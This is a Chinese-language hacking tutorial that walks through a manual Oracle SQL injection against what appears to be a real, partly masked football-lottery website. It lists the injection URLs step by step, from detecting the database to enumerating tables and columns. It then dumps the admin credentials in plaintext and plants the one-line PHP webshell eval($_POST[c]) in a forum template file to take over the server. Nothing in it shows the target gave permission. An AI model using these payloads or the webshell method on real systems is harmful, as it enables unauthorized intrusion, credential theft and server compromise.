參考案例:手工Oracle注入某足彩在線網站
某足彩在線網站是一個大型的足彩站點,在其中存在著注入點,鏈接如下:http://www.****china.com/jst/md_end.jsp?id=76,以該注入點為例,講解如何進行Oracle手工注入攻擊檢測。
判斷注入點
在鏈接地址后加上單引號,返回信息"java.sql.SQLException: ORA-01756",可初步判斷為Oracle的數據庫。
在鏈接后添加提交"/*",返回錯誤頁面,說明數據庫不是MySQL的。繼續在注入點鏈接后添加"--",顯示正常頁面,說明數據庫可能為MSSQL和Oracle。再提交:
http://www.****china.com/jst/md_end.jsp?id=76 and (select count (*) from user_tables)>0--
http://www.****china.com/jst/md_end.jsp?id=76 and (select count (*) from dual)>0--
都返回正常頁面(圖1),確認為Oracle的數據庫。
圖1 確認Oracle注入#p#
字段數目與字段類型檢測
先檢測注入點處查詢字段數目,提交:
http://www.****china.com/jst/md_end.jsp?id=76 order by 10 //返回錯誤頁面
http://www.****china.com/jst/md_end.jsp?id=76 order by 5 //返回正常頁面
http://www.****china.com/jst/md_end.jsp?id=76 order by 8 //返回錯誤頁面
http://www.****china.com/jst/md_end.jsp?id=76 order by 7 //返回正常頁面
說明當前表存在7個字段。下面再來檢測字段類型,提交:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select 1,2,3,4,5,6,7 from dual
返回錯誤信息,提示(圖2):
expression must have same datatype
圖2 數據類型錯誤#p#
很顯然,提交的字段類型不正確,所以查詢出錯。于是改為提交:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,null,null,null,null,null from dual
返回正常頁面,說明字段數目確實為7個,但是需要確定字段類型。依次提交如下:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select 'null',null,null,null,null,null,null from dual //返回正常頁面
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,'null',null,null,null,null,null from dual //返回錯誤頁面
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,'null',null,null,null,null from dual //返回正常頁面
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,null,'null',null,null,null from dual //返回正常頁面
……
上面的查詢中,用'null'字符串檢測該字段處是否為字符型,如果返回正常頁面則說明為字符型數據,返回錯誤頁面,則說明該處為數字型。
提交檢測完畢后,確認1,3,4,6,7位置處為字符型。提交如下:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3','4',5,'6','7' from dual
返回正常頁面(圖3),說明字段類型正確。
圖3 確認數據類型
檢測注入點信息
對注入點進行簡單的信息檢測,可選擇字符型字段處顯示要查詢的信息,提交如下:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select (select banner from sys.v_$version where rownum=1),2,(select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual), (select member from v$logfile where rownum=1),5,'6', (select instance_name from v$instance) from dual
從返回頁面中得到各種信息(圖4):
數據庫版本為Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - 64bi;
前數據庫連接用戶名為TOTO;
操作系統平臺為Linux;
服務器sid為racdb2。
圖4 返回注入點各種信息#p#
查詢獲取表名
先來查詢一下當前數據庫中的表名,提交:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select table_name from user_tables where rownum=1),5,'6','7' from dual
圖5
這里選擇了字段4處返回信息,得到第1個表名為ACCOUNTS(圖5)。
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select table_name from user_tables where rownum=1 and table_name<>'ACCOUNTS'),5,'6','7' from dual
注意,表名一定要大寫。提交后返回第2個表名為A_USER。再提交:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select table_name from user_tables where rownum=1 and table_name<>'ACCOUNTS' and table_name<>'A_USER'),5,'6','7' from dual
得到第3個表名BOBO_URL_INFO。用同樣的方法,可得到其它所有表名,發現其中有一個極為重要的表名USERMG。#p#
查詢獲取字段名及內容
選擇對USERMG表進行查詢,提交:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select column_name from user_tab_columns where table_name='USERMG' and rownum=1),5,'6','7' from dual
返回USERMG表中第一個字段名USER_NAME,再提交:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select column_name from user_tab_columns where table_name='USERMG' and column_name<>'USER_NAME' and rownum=1),5,'6','7' from dual
圖6 返回表中字段名
返回第2個字段名USER_PASS(圖6)。這兩個字段名很明顯是用來存儲用戶名和密碼的,直接查詢其內容:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select USERNAME,2,'3',USER_PASS,5,'6','7' from USERMG
返回頁面中,得到了用戶名和密碼為:admin/toto11admin(圖7)。
圖7 獲得管理員帳號數據#p#
登陸后臺上傳WebShell
沒有直接查找到網站的后臺,但是利用管理員帳號,可以從前臺進行登錄。登錄進入后,發現可進入體彩論壇,在論壇中在論壇后臺管理頁面,直接用此帳號進行登陸,進入論壇管理后臺。
在"論壇管理"→"界面風格"→"默認風格"→"詳情"中,點擊"新增變量",將變量內容設置為:
', '#999');eval($_POST[c]);
圖8 添加變量寫入一句話木馬
替換內容可隨便填(圖8)。點擊"提交"按鈕后,一句話木馬就被寫入模板風格文件中了。用一句話木馬連接論壇風格頁面文件:
http://bbs.****china.com/forumdata/cache/style_1.php
圖9 連接一句話木馬
密碼為c,粘貼入要上傳的WebShell代碼內容,即可連接一句話木馬獲得WebShell(圖9)。WebShell的權限比較大,可輕易的控制遠程網站服務器。
【編輯推薦】